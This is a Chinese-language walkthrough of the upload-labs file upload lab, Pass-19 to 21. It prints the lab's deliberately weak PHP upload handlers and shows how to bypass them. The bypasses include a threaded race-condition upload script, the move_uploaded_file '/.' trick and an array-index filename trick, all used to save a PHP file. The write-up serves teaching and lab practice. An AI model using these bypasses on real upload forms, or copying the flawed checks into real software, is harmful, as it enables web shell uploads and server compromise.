$this->cls_file_rename_to = $file_rename_to;
}
function isUploadedFile(){//是否上传了文件
if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
return "IS_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
function setDir( $dir ){//设置上传目录
if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
$this->cls_upload_dir = $dir;
return 1;
}
}
function checkExtension(){//检查文件类型
// Check if the extension is valid
if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
return "EXTENSION_FAILURE";
} else {
return 1;
}
}
function checkSize(){//检查文件大小
if( $this->cls_filesize > $this->cls_max_filesize ){
return "FILE_SIZE_FAILURE";
} else {
return 1;
}
}
function move(){//上传
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
function checkFileExists(){//文件是否存在
if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
return "FILE_EXISTS_FAILURE";
} else {
return 1;
}
}
function renameFile(){//重命名
// if no new name was provided, we use
if( $this->cls_file_rename_to == '' ){
$allchar = "abcdefghijklnmopqrstuvwxyz" ;
$this->cls_file_rename_to = "" ;
mt_srand (( double) microtime() * 1000000 );
for ( $i = 0; $i<8 ; $i++ ){
$this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
}
}
// Remove the extension and put it back on the new file name
$extension = strrchr( $this->cls_filename, "." );
$this->cls_file_rename_to .= $extension;
if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
return "RENAME_FAILURE";
} else {
return 1;
}
}
function upload( $dir ){//上传
$ret = $this->isUploadedFile();//是否已经上传
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );//是否设置了上传目录
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();//检查类型
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();//检查大小
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();//检查文件是否存在
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();//拼接移动
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();//重命名
if( $ret != 1 ){
return $this->resultUpload( $ret ); //失败则返回FALSE
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
function resultUpload( $flag ){
switch( $flag ){
case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
break;
case "DIRECTORY_FAILURE" : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
break;
case "EXTENSION_FAILURE" : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
break;
case "FILE_SIZE_FAILURE" : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
break;
case "FILE_EXISTS_FAILURE" : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
break;
case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
break;
case "RENAME_FAILURE" : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
break;
case "SUCCESS" : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
break;
default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
break;
}
}
}; // end class
所以根据Apeach的一个特性—-会从右到左识别后缀名,直到有它认识的,然后去按照可识别的后缀类型解析;我们可以利用条件竞争漏洞以及这个解析特性去绕过。此处不用上一关的方法去利用条件竞争漏洞,换一种方法用脚本去处理。(好像低估了它的重命名速度,我没有成功)
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 7 13:26:05 2021
@author: Ni4n
"""
import hackhttp
from multiprocessing.dummy import Pool as ThreadPool
def upload(lists):
hh=hackhttp.hackhttp()
raw='''POST /Pass-19/index.php HTTP/1.1
Host: 6844f964a83b464f8906dd95ee3d8218.app.mituan.zone
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10548979471069620054260847876
Content-Length: 375
Origin: http://6844f964a83b464f8906dd95ee3d8218.app.mituan.zone
Connection: close
Referer: http://6844f964a83b464f8906dd95ee3d8218.app.mituan.zone/Pass-19/index.php
Upgrade-Insecure-Requests: 1
-----------------------------10548979471069620054260847876
Content-Disposition: form-data; name="upload_file"; filename="N.php.7z"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------10548979471069620054260847876
Content-Disposition: form-data; name="submit"
上传
-----------------------------10548979471069620054260847876--
'''
code, head, html, redirect, log = hh.http('http://6844f964a83b464f8906dd95ee3d8218.app.mituan.zone/Pass-19/index.php', raw=raw)
print(str(code) + "\r")
pool = ThreadPool(50)
pool.map(upload, range(10000)) #从进程池中取出一个进程执行func,args为func的参数
pool.close() # 进程池不再创建新的进程
pool.join() #wait进程池中的全部进程
hackhttp
hackhttp 模块致力于帮助安全测试人员快速编写代码,除众多基础功能外,hackhttp 支持直接发送 HTTP 原始报文,开发者可以直接将浏览器或者 Burp Suite 等抓包工具中截获的 HTTP 报文复制后,无需修改报文,可直接使用 hackhttp 进行重放,不过只支持python2。
具体使用参考项目地址
Pass-20 move_uploaded_file缺陷
首先我们可以看到save_name
,即文件的最终名称是通过POST传递向后端的,所以我们依然可以用%00截断;但此处要说下另一种方式。
move_uploaded_file`有个缺陷,即当`$img_path` 可控,会忽略掉`$img_path` 后面的`/.
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {//黑名单
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];//可控
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//文件路径
if(!in_array($file_ext,$deny_ext)) {//检查指定的文件名是否合法
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) { //移动到upload目录,并以指定名称命名
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
所以我们上传一个N.jpg,然后抓包,做出如下修改,然后他最终就会保存成N.php
访问成功
Pass-21 数组判断绕过
首先,它的save_name
依然可控,然后我们发现,其会将文件名打成数组,然后判断最后的后缀名,如果合法才能上传,并用合法的名称拼接命名。
<?php
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//mime check
$allow_type = array('image/jpeg','image/png','image/gif');//白名单
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//check filename
//检查指定的文件名是否为空,如果为空$file=原始名字,不为空则为合法的指定文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {//判断名字是否为数组
$file = explode('.', strtolower($file));//不是就打成数组
}
$ext = end($file);//文件最后一个后缀名
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {//不合法就禁止上传
$msg = "禁止上传该后缀文件!";
}else{
//合法则以$file和后缀【元素个数-1】位元素拼接命名
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
在这里我们可以上传一个png文件,抓包,作出如下构造,使得数组最后一个元素合法,上传保存后成为php文件。
可以分析一下为什么这么构造
<?php
$file = array();
$file[0] = 'N.php/';
$file[2] = 'jpg';
print_r($file);
echo "数组总元素个数为".count($file);
?>
//结果:
Array
(
[0] => N.php/
[2] => jpg
)
数组总元素个数为2
//打印下$file[count($file) - 1]
其结果为空。
其最终$file_name
为save_name[0]
和$file[count($file) - 1]
拼接而成,而根据上面的结果后者为空,所以最终的保存名字则为N.php/.
此处则又用到了上一关说到的函数缺陷。访问成功。
同时也可以在构造时不在N.php
后面加斜杠,那么就需要访问N.php.
后记
纸上得来终觉浅,绝知此事要躬行!